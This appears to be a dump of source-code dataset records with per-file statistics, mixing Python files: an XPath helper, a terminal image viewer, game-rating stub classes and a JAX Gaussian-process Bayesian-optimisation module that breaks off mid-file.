return XPathHelper(self.sb + ["/following-sibling::*[local-name() = '" +
svg_tag +
"']" +
self.__compute_filter(filter)])
############## Preceding axis ##############
# The preceding axis selects all nodes no matter the depth,
# that are located on parent-level and also before (preceding) its parent of the node in reference.
############################################
def get_preceding(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>, that are located on parent-level
and also before (preceding) its parent of the node in reference.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/preceding::*" + self.__compute_filter(filter)])
def get_preceding_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>,
that are located on parent-level and also before (preceding) its parent of the node in reference.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/preceding::" + tag + "" + self.__compute_filter(filter)])
def get_preceding_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>,
that are located on parent-level and also before (preceding) its parent of the node in reference.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/preceding::*[local-name() = '" +
svg_tag +
"']" +
self.__compute_filter(filter)])
############## Preceding-sibling axis ##############
# The preceding axis selects all nodes that are located on the same level
# who are also located before (preceding) the node in reference.
##############*******##############
def get_preceding_sibling(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>, that are located on the same level
who are also located before (preceding) the node in reference.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/preceding-sibling::*" + self.__compute_filter(filter)])
def get_preceding_sibling_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>,
that are located on the same level who are also located before (preceding) the node in reference.
Args:
tag (string): [description]
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/preceding-sibling::" + tag + "" + self.__compute_filter(filter)])
def get_preceding_sibling_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>,
that are located on the same level who are also located before (preceding) the node in reference.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/preceding-sibling::*[local-name() = '" +
svg_tag +
"']" +
self.__compute_filter(filter)])
def __append_local_path(self):
"""Adds the local path.
Returns:
XPathHelper: an instance of XPathHelper with the local path appened.
"""
return XPathHelper(self.sb + ["."])
def __compute_filter(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Adds the given filter to the current xpath expression.
Args:
filter (Filter): filter to apply
Returns:
str: filter as an XPath string
"""
suffix = ""
if (filter != None and not filter.is_empty()):
expression = str(filter)
suffix = "[" + expression + "]"
return suffix
| 42.368932
| 163
| 0.593126
| 2,495
| 21,820
| 5.081363
| 0.047295
| 0.08424
| 0.027686
| 0.055372
| 0.895962
| 0.884998
| 0.873324
| 0.861413
| 0.838855
| 0.801467
| 0
| 0
| 0.280935
| 21,820
| 515
| 164
| 42.368932
| 0.808031
| 0.477039
| 0
| 0.214953
| 0
| 0
| 0.106022
| 0.034643
| 0
| 0
| 0
| 0
| 0
| 1
| 0.345794
| false
| 0
| 0.018692
| 0
| 0.71028
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
efd8f9545f06f4b2b492920a4ec1828a21e00098
| 98
|
py
|
Python
|
core/networks/__init__.py
|
swipswaps/retinal_oct
|
a99f93d88833fc328b9b7f6aaabe1310632c644b
|
[
"MIT"
] | 15
|
2021-01-29T17:05:38.000Z
|
2022-03-16T17:47:42.000Z
|
core/networks/__init__.py
|
solomonkimunyu/retinal_oct
|
a99f93d88833fc328b9b7f6aaabe1310632c644b
|
[
"MIT"
] | null | null | null |
core/networks/__init__.py
|
solomonkimunyu/retinal_oct
|
a99f93d88833fc328b9b7f6aaabe1310632c644b
|
[
"MIT"
] | 14
|
2021-03-03T03:16:31.000Z
|
2022-03-23T19:23:42.000Z
|
from .resnet_with_conv import resnetconv
from .resnet_with_conv_finetune import resnetconvfinetune
| 49
| 57
| 0.908163
| 13
| 98
| 6.461538
| 0.615385
| 0.238095
| 0.333333
| 0.428571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 98
| 2
| 57
| 49
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
eff07b57468899b9b15339cd5d20d6cb307d3b2f
| 221
|
py
|
Python
|
follower_maze/events/__init__.py
|
begor/follower_maze
|
d76315e5085d4566f5730d70b51559b2262bc827
|
[
"MIT"
] | null | null | null |
follower_maze/events/__init__.py
|
begor/follower_maze
|
d76315e5085d4566f5730d70b51559b2262bc827
|
[
"MIT"
] | null | null | null |
follower_maze/events/__init__.py
|
begor/follower_maze
|
d76315e5085d4566f5730d70b51559b2262bc827
|
[
"MIT"
] | null | null | null |
from follower_maze.events import handler
from follower_maze.events import parser
from follower_maze.events import types
from follower_maze.events.operations import handle
from follower_maze.events.operations import parse
| 36.833333
| 50
| 0.877828
| 32
| 221
| 5.90625
| 0.34375
| 0.31746
| 0.42328
| 0.582011
| 0.846561
| 0.402116
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090498
| 221
| 5
| 51
| 44.2
| 0.940299
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
4bd8e90999795ecce1f960b7267b29f4ae243114
| 1,554
|
py
|
Python
|
image_viewer.py
|
oltarzewskik/python-curses-image-viewer
|
2f2b34186689e83e79e3e3c001172afabdaf2fd9
|
[
"MIT"
] | 3
|
2019-10-19T15:48:40.000Z
|
2020-03-18T15:43:29.000Z
|
image_viewer.py
|
strang1ato/python-curses-image-viewer
|
2f2b34186689e83e79e3e3c001172afabdaf2fd9
|
[
"MIT"
] | 1
|
2019-10-19T15:49:20.000Z
|
2019-10-20T15:50:24.000Z
|
image_viewer.py
|
strang1ato/python-curses-image-viewer
|
2f2b34186689e83e79e3e3c001172afabdaf2fd9
|
[
"MIT"
] | 1
|
2021-03-22T21:33:32.000Z
|
2021-03-22T21:33:32.000Z
|
import numpy
from PIL import Image
import curses
import requests
from io import BytesIO
def generate_image(url, height):
response = requests.get(url)
img = Image.open(BytesIO(response.content))
img.convert('RGB')
width = int((img.width / img.height) * height)
img = img.resize((width, height), Image.ANTIALIAS)
img_arr = numpy.asarray(img)
height, width, _ = img_arr.shape
return height, width, img_arr
def show_image(height, width, img_arr, y_start, window):
for y in range(height):
for x in range(width):
pix = img_arr[y][x]
color = int((pix[0]*6/256)*36 + (pix[1]*6/256)*6 + (pix[2]*6/256) - 1)
curses.init_color(color, pix[0], pix[1], pix[2])
curses.init_pair(color, color, color)
window.addstr(y_start+y, x+1, "#", curses.color_pair(color))
def generate_and_show_image(url, height, y_start, window):
response = requests.get(url)
img = Image.open(BytesIO(response.content))
img.convert('RGB')
width = int((img.width / img.height) * height)
img = img.resize((width, height), Image.ANTIALIAS)
img_arr = numpy.asarray(img)
height, width, _ = img_arr.shape
for y in range(height):
for x in range(width):
pix = img_arr[y][x]
color = int((pix[0]*6/256)*36 + (pix[1]*6/256)*6 + (pix[2]*6/256) - 1)
curses.init_color(color, pix[0], pix[1], pix[2])
curses.init_pair(color, color, color)
window.addstr(y_start+y, x+1, "#", curses.color_pair(color))
| 34.533333
| 82
| 0.615187
| 236
| 1,554
| 3.944915
| 0.20339
| 0.051557
| 0.06015
| 0.07304
| 0.777658
| 0.777658
| 0.777658
| 0.777658
| 0.777658
| 0.777658
| 0
| 0.038494
| 0.231017
| 1,554
| 44
| 83
| 35.318182
| 0.740586
| 0
| 0
| 0.756757
| 1
| 0
| 0.005148
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.081081
| false
| 0
| 0.135135
| 0
| 0.243243
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4bf7abf0c54c35df23769994efaf0d1f9d6a12a8
| 23
|
py
|
Python
|
my_classes/ScopesClosuresAndDecorators/module1.py
|
minefarmer/deep-Dive-1
|
b0675b853180c5b5781888266ea63a3793b8d855
|
[
"Unlicense"
] | null | null | null |
my_classes/ScopesClosuresAndDecorators/module1.py
|
minefarmer/deep-Dive-1
|
b0675b853180c5b5781888266ea63a3793b8d855
|
[
"Unlicense"
] | null | null | null |
my_classes/ScopesClosuresAndDecorators/module1.py
|
minefarmer/deep-Dive-1
|
b0675b853180c5b5781888266ea63a3793b8d855
|
[
"Unlicense"
] | null | null | null |
a = 10
print(a) # 10
| 5.75
| 14
| 0.478261
| 5
| 23
| 2.2
| 0.6
| 0.545455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.266667
| 0.347826
| 23
| 3
| 15
| 7.666667
| 0.466667
| 0.086957
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
ef15d4b06854cd0fc1a1693335f7fd1fd8c84acc
| 6,269
|
py
|
Python
|
loldib/getratings/models/NA/na_nunu/na_nunu_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_nunu/na_nunu_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_nunu/na_nunu_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
from getratings.models.ratings import Ratings
class NA_Nunu_Top_Aatrox(Ratings):
pass
class NA_Nunu_Top_Ahri(Ratings):
pass
class NA_Nunu_Top_Akali(Ratings):
pass
class NA_Nunu_Top_Alistar(Ratings):
pass
class NA_Nunu_Top_Amumu(Ratings):
pass
class NA_Nunu_Top_Anivia(Ratings):
pass
class NA_Nunu_Top_Annie(Ratings):
pass
class NA_Nunu_Top_Ashe(Ratings):
pass
class NA_Nunu_Top_AurelionSol(Ratings):
pass
class NA_Nunu_Top_Azir(Ratings):
pass
class NA_Nunu_Top_Bard(Ratings):
pass
class NA_Nunu_Top_Blitzcrank(Ratings):
pass
class NA_Nunu_Top_Brand(Ratings):
pass
class NA_Nunu_Top_Braum(Ratings):
pass
class NA_Nunu_Top_Caitlyn(Ratings):
pass
class NA_Nunu_Top_Camille(Ratings):
pass
class NA_Nunu_Top_Cassiopeia(Ratings):
pass
class NA_Nunu_Top_Chogath(Ratings):
pass
class NA_Nunu_Top_Corki(Ratings):
pass
class NA_Nunu_Top_Darius(Ratings):
pass
class NA_Nunu_Top_Diana(Ratings):
pass
class NA_Nunu_Top_Draven(Ratings):
pass
class NA_Nunu_Top_DrMundo(Ratings):
pass
class NA_Nunu_Top_Ekko(Ratings):
pass
class NA_Nunu_Top_Elise(Ratings):
pass
class NA_Nunu_Top_Evelynn(Ratings):
pass
class NA_Nunu_Top_Ezreal(Ratings):
pass
class NA_Nunu_Top_Fiddlesticks(Ratings):
pass
class NA_Nunu_Top_Fiora(Ratings):
pass
class NA_Nunu_Top_Fizz(Ratings):
pass
class NA_Nunu_Top_Galio(Ratings):
pass
class NA_Nunu_Top_Gangplank(Ratings):
pass
class NA_Nunu_Top_Garen(Ratings):
pass
class NA_Nunu_Top_Gnar(Ratings):
pass
class NA_Nunu_Top_Gragas(Ratings):
pass
class NA_Nunu_Top_Graves(Ratings):
pass
class NA_Nunu_Top_Hecarim(Ratings):
pass
class NA_Nunu_Top_Heimerdinger(Ratings):
pass
class NA_Nunu_Top_Illaoi(Ratings):
pass
class NA_Nunu_Top_Irelia(Ratings):
pass
class NA_Nunu_Top_Ivern(Ratings):
pass
class NA_Nunu_Top_Janna(Ratings):
pass
class NA_Nunu_Top_JarvanIV(Ratings):
pass
class NA_Nunu_Top_Jax(Ratings):
pass
class NA_Nunu_Top_Jayce(Ratings):
pass
class NA_Nunu_Top_Jhin(Ratings):
pass
class NA_Nunu_Top_Jinx(Ratings):
pass
class NA_Nunu_Top_Kalista(Ratings):
pass
class NA_Nunu_Top_Karma(Ratings):
pass
class NA_Nunu_Top_Karthus(Ratings):
pass
class NA_Nunu_Top_Kassadin(Ratings):
pass
class NA_Nunu_Top_Katarina(Ratings):
pass
class NA_Nunu_Top_Kayle(Ratings):
pass
class NA_Nunu_Top_Kayn(Ratings):
pass
class NA_Nunu_Top_Kennen(Ratings):
pass
class NA_Nunu_Top_Khazix(Ratings):
pass
class NA_Nunu_Top_Kindred(Ratings):
pass
class NA_Nunu_Top_Kled(Ratings):
pass
class NA_Nunu_Top_KogMaw(Ratings):
pass
class NA_Nunu_Top_Leblanc(Ratings):
pass
class NA_Nunu_Top_LeeSin(Ratings):
pass
class NA_Nunu_Top_Leona(Ratings):
pass
class NA_Nunu_Top_Lissandra(Ratings):
pass
class NA_Nunu_Top_Lucian(Ratings):
pass
class NA_Nunu_Top_Lulu(Ratings):
pass
class NA_Nunu_Top_Lux(Ratings):
pass
class NA_Nunu_Top_Malphite(Ratings):
pass
class NA_Nunu_Top_Malzahar(Ratings):
pass
class NA_Nunu_Top_Maokai(Ratings):
pass
class NA_Nunu_Top_MasterYi(Ratings):
pass
class NA_Nunu_Top_MissFortune(Ratings):
pass
class NA_Nunu_Top_MonkeyKing(Ratings):
pass
class NA_Nunu_Top_Mordekaiser(Ratings):
pass
class NA_Nunu_Top_Morgana(Ratings):
pass
class NA_Nunu_Top_Nami(Ratings):
pass
class NA_Nunu_Top_Nasus(Ratings):
pass
class NA_Nunu_Top_Nautilus(Ratings):
pass
class NA_Nunu_Top_Nidalee(Ratings):
pass
class NA_Nunu_Top_Nocturne(Ratings):
pass
class NA_Nunu_Top_Nunu(Ratings):
pass
class NA_Nunu_Top_Olaf(Ratings):
pass
class NA_Nunu_Top_Orianna(Ratings):
pass
class NA_Nunu_Top_Ornn(Ratings):
pass
class NA_Nunu_Top_Pantheon(Ratings):
pass
class NA_Nunu_Top_Poppy(Ratings):
pass
class NA_Nunu_Top_Quinn(Ratings):
pass
class NA_Nunu_Top_Rakan(Ratings):
pass
class NA_Nunu_Top_Rammus(Ratings):
pass
class NA_Nunu_Top_RekSai(Ratings):
pass
class NA_Nunu_Top_Renekton(Ratings):
pass
class NA_Nunu_Top_Rengar(Ratings):
pass
class NA_Nunu_Top_Riven(Ratings):
pass
class NA_Nunu_Top_Rumble(Ratings):
pass
class NA_Nunu_Top_Ryze(Ratings):
pass
class NA_Nunu_Top_Sejuani(Ratings):
pass
class NA_Nunu_Top_Shaco(Ratings):
pass
class NA_Nunu_Top_Shen(Ratings):
pass
class NA_Nunu_Top_Shyvana(Ratings):
pass
class NA_Nunu_Top_Singed(Ratings):
pass
class NA_Nunu_Top_Sion(Ratings):
pass
class NA_Nunu_Top_Sivir(Ratings):
pass
class NA_Nunu_Top_Skarner(Ratings):
pass
class NA_Nunu_Top_Sona(Ratings):
pass
class NA_Nunu_Top_Soraka(Ratings):
pass
class NA_Nunu_Top_Swain(Ratings):
pass
class NA_Nunu_Top_Syndra(Ratings):
pass
class NA_Nunu_Top_TahmKench(Ratings):
pass
class NA_Nunu_Top_Taliyah(Ratings):
pass
class NA_Nunu_Top_Talon(Ratings):
pass
class NA_Nunu_Top_Taric(Ratings):
pass
class NA_Nunu_Top_Teemo(Ratings):
pass
class NA_Nunu_Top_Thresh(Ratings):
pass
class NA_Nunu_Top_Tristana(Ratings):
pass
class NA_Nunu_Top_Trundle(Ratings):
pass
class NA_Nunu_Top_Tryndamere(Ratings):
pass
class NA_Nunu_Top_TwistedFate(Ratings):
pass
class NA_Nunu_Top_Twitch(Ratings):
pass
class NA_Nunu_Top_Udyr(Ratings):
pass
class NA_Nunu_Top_Urgot(Ratings):
pass
class NA_Nunu_Top_Varus(Ratings):
pass
class NA_Nunu_Top_Vayne(Ratings):
pass
class NA_Nunu_Top_Veigar(Ratings):
pass
class NA_Nunu_Top_Velkoz(Ratings):
pass
class NA_Nunu_Top_Vi(Ratings):
pass
class NA_Nunu_Top_Viktor(Ratings):
pass
class NA_Nunu_Top_Vladimir(Ratings):
pass
class NA_Nunu_Top_Volibear(Ratings):
pass
class NA_Nunu_Top_Warwick(Ratings):
pass
class NA_Nunu_Top_Xayah(Ratings):
pass
class NA_Nunu_Top_Xerath(Ratings):
pass
class NA_Nunu_Top_XinZhao(Ratings):
pass
class NA_Nunu_Top_Yasuo(Ratings):
pass
class NA_Nunu_Top_Yorick(Ratings):
pass
class NA_Nunu_Top_Zac(Ratings):
pass
class NA_Nunu_Top_Zed(Ratings):
pass
class NA_Nunu_Top_Ziggs(Ratings):
pass
class NA_Nunu_Top_Zilean(Ratings):
pass
class NA_Nunu_Top_Zyra(Ratings):
pass
| 15.033573
| 46
| 0.75642
| 972
| 6,269
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| 0.151235
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| 0
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| 6,269
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| 15.069712
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| 0
| 1
| 0
| true
| 0.498195
| 0.00361
| 0
| 0.501805
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
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0
| 7
|
ef26140a8385ab529595694954da36cf623ed154
| 85,378
|
py
|
Python
|
jaxbo/models.py
|
PredictiveIntelligenceLab/JAX-BO
|
0b78cce465f808149c88cb8a49c5702c8449ec84
|
[
"Apache-2.0"
] | 27
|
2021-05-12T03:34:19.000Z
|
2022-03-18T16:27:07.000Z
|
jaxbo/models.py
|
PredictiveIntelligenceLab/JAX-BO
|
0b78cce465f808149c88cb8a49c5702c8449ec84
|
[
"Apache-2.0"
] | null | null | null |
jaxbo/models.py
|
PredictiveIntelligenceLab/JAX-BO
|
0b78cce465f808149c88cb8a49c5702c8449ec84
|
[
"Apache-2.0"
] | null | null | null |
import numpy as onp
import jax.numpy as np
from jax import vmap, jit, jvp, vjp, random
from jax.scipy.linalg import cholesky, solve_triangular
from jax.flatten_util import ravel_pytree
from jax.scipy.special import expit as sigmoid
from jax.ops import index_update, index
from functools import partial
import jaxbo.kernels as kernels
import jaxbo.acquisitions as acquisitions
import jaxbo.initializers as initializers
import jaxbo.utils as utils
from jaxbo.optimizers import minimize_lbfgs
from sklearn import mixture
from pyDOE import lhs
from jax.scipy.stats import norm
#onp.random.seed(1234)
# Define a general master class
class GPmodel():
def __init__(self, options):
# Initialize the class
self.options = options
self.input_prior = options['input_prior']
if options['kernel'] == 'RBF':
self.kernel = kernels.RBF
elif options['kernel'] == 'Matern52':
self.kernel = kernels.Matern52
elif options['kernel'] == 'Matern32':
self.kernel = kernels.Matern32
elif options['kernel'] == 'RatQuad':
self.kernel = kernels.RatQuad
elif options['kernel'] == None:
self.kernel = kernels.RBF
else:
raise NotImplementedError
@partial(jit, static_argnums=(0,))
def likelihood(self, params, batch):
y = batch['y']
N = y.shape[0]
# Compute Cholesky
L = self.compute_cholesky(params, batch)
# Compute negative log-marginal likelihood
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
NLML = 0.5*np.matmul(np.transpose(y),alpha) + \
np.sum(np.log(np.diag(L))) + 0.5*N*np.log(2.0*np.pi)
return NLML
@partial(jit, static_argnums=(0,))
def likelihood_value_and_grad(self, params, batch):
fun = lambda params: self.likelihood(params, batch)
primals, f_vjp = vjp(fun, params)
grads = f_vjp(np.ones_like(primals))[0]
return primals, grads
def fit_gmm(self, num_comp = 2, N_samples = 10000, **kwargs):
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
# load the seed
rng_key = kwargs['rng_key']
dim = lb.shape[0]
# Sample data across the entire domain
# set the seed for sampling X
onp.random.seed(rng_key[0])
X = lb + (ub-lb)*lhs(dim, N_samples)
y = self.predict(X, **kwargs)[0]
# Sample data according to prior
# set the seed for sampling X_samples
rng_key = random.split(rng_key)[0]
onp.random.seed(rng_key[0])
X_samples = lb + (ub-lb)*lhs(dim, N_samples)
y_samples = self.predict(X_samples, **kwargs)[0]
# Compute p_x and p_y from samples across the entire domain
p_x = self.input_prior.pdf(X)
p_x_samples = self.input_prior.pdf(X_samples)
p_y = utils.fit_kernel_density(y_samples, y, weights = p_x_samples)
weights = p_x/p_y
# Label each input data
indices = np.arange(N_samples)
# Scale inputs to [0, 1]^D
X = (X - lb) / (ub - lb)
# rescale weights as probability distribution
weights = weights / np.sum(weights)
# Sample from analytical w
idx = onp.random.choice(indices,
N_samples,
p=weights.flatten())
X_train = X[idx]
# fit GMM
clf = mixture.GaussianMixture(n_components=num_comp,
covariance_type='full')
clf.fit(X_train)
return clf.weights_, clf.means_, clf.covariances_
@partial(jit, static_argnums=(0,))
def acquisition(self, x, **kwargs):
x = x[None,:]
mean, std = self.predict(x, **kwargs)
if self.options['criterion'] == 'LW-LCB':
kappa = kwargs['kappa']
weights = utils.compute_w_gmm(x, **kwargs)
return acquisitions.LW_LCB(mean, std, weights, kappa)
elif self.options['criterion'] == 'LCB':
kappa = kwargs['kappa']
return acquisitions.LCB(mean, std, kappa)
elif self.options['criterion'] == 'EI':
batch = kwargs['batch']
best = np.min(batch['y'])
return acquisitions.EI(mean, std, best)
elif self.options['criterion'] == 'US':
return acquisitions.US(std)
elif self.options['criterion'] == 'TS':
sample = self.draw_posterior_sample(x, **kwargs)
return sample
elif self.options['criterion'] == 'LW-US':
weights = utils.compute_w_gmm(x, **kwargs)
return acquisitions.LW_US(std, weights)
elif self.options['criterion'] == 'CLSF':
kappa = kwargs['kappa']
# The following two lines for learning constraints
norm_const = kwargs['norm_const']
mean = mean * norm_const['sigma_y'] + norm_const['mu_y']
std = std * norm_const['sigma_y']
return acquisitions.CLSF(mean, std, kappa)
elif self.options['criterion'] == 'LW_CLSF':
kappa = kwargs['kappa']
# The following two lines for learning constraints
norm_const = kwargs['norm_const']
mean = mean * norm_const['sigma_y'] + norm_const['mu_y']
std = std * norm_const['sigma_y']
weights = utils.compute_w_gmm(x, **kwargs)
return acquisitions.LW_CLSF(mean, std, weights, kappa)
else:
raise NotImplementedError
@partial(jit, static_argnums=(0,))
def acq_value_and_grad(self, x, **kwargs):
fun = lambda x: self.acquisition(x, **kwargs)
primals, f_vjp = vjp(fun, x)
grads = f_vjp(np.ones_like(primals))[0]
return primals, grads
def compute_next_point_lbfgs(self, num_restarts = 10, **kwargs):
# Define objective that returns NumPy arrays
def objective(x):
value, grads = self.acq_value_and_grad(x, **kwargs)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
loc = []
acq = []
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
rng_key = kwargs['rng_key']
dim = lb.shape[0]
onp.random.seed(rng_key[0])
x0 = lb + (ub-lb)*lhs(dim, num_restarts)
#print("x0 for bfgs", x0)
dom_bounds = tuple(map(tuple, np.vstack((lb, ub)).T))
for i in range(num_restarts):
pos, val = minimize_lbfgs(objective, x0[i,:], bnds = dom_bounds)
loc.append(pos)
acq.append(val)
loc = np.vstack(loc)
acq = np.vstack(acq)
idx_best = np.argmin(acq)
x_new = loc[idx_best:idx_best+1,:]
return x_new, acq, loc
def compute_next_point_gs(self, X_cand, **kwargs):
fun = lambda x: self.acquisition(x, **kwargs)
acq = vmap(fun)(X_cand)
idx_best = np.argmin(acq)
x_new = X_cand[idx_best:idx_best+1,:]
return x_new
# A minimal Gaussian process regression class (inherits from GPmodel)
class GP(GPmodel):
# Initialize the class
def __init__(self, options):
super().__init__(options)
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
X = batch['X']
N, D = X.shape
# Fetch params
sigma_n = np.exp(params[-1])
theta = np.exp(params[:-1])
# Compute kernel
K = self.kernel(X, X, theta) + np.eye(N)*(sigma_n + 1e-8)
L = cholesky(K, lower=True)
return L
def train(self, batch, rng_key, num_restarts = 10):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['X'].shape[1]
rng_key = random.split(rng_key, num_restarts)
for i in range(num_restarts):
init = initializers.random_init_GP(rng_key[i], dim)
p, val = minimize_lbfgs(objective, init)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params = params[idx_best,:]
return best_params
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
X, y = batch['X'], batch['y']
# Fetch params
sigma_n = np.exp(params[-1])
theta = np.exp(params[:-1])
# Compute kernels
k_pp = self.kernel(X_star, X_star, theta) + np.eye(X_star.shape[0])*(sigma_n + 1e-8)
k_pX = self.kernel(X_star, X, theta)
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
@partial(jit, static_argnums=(0,))
def draw_posterior_sample(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
rng_key = kwargs['rng_key']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
X, y = batch['X'], batch['y']
# Fetch params
sigma_n = np.exp(params[-1])
theta = np.exp(params[:-1])
# Compute kernels
k_pp = self.kernel(X_star, X_star, theta) + np.eye(X_star.shape[0])*(sigma_n + 1e-8)
k_pX = self.kernel(X_star, X, theta)
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
sample = random.multivariate_normal(rng_key, mu, cov)
return sample
# A minimal Gaussian process regression class (inherits from GPmodel)
class MultipleIndependentOutputsGP(GPmodel):
# Initialize the class
def __init__(self, options):
super().__init__(options)
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
X = batch['X']
N, D = X.shape
# Fetch params
sigma_n = np.exp(params[-1])
theta = np.exp(params[:-1])
# Compute kernel
K = self.kernel(X, X, theta) + np.eye(N)*(sigma_n + 1e-8)
L = cholesky(K, lower=True)
return L
def train(self, batch_list, rng_key, num_restarts = 10):
best_params = []
for _, batch in enumerate(batch_list):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['X'].shape[1]
rng_keys = random.split(rng_key, num_restarts)
for i in range(num_restarts):
init = initializers.random_init_GP(rng_keys[i], dim)
p, val = minimize_lbfgs(objective, init)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
#print("likelihood", likelihood)
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params.append(params[idx_best,:])
#print("best_params", best_params)
return best_params
@partial(jit, static_argnums=(0,))
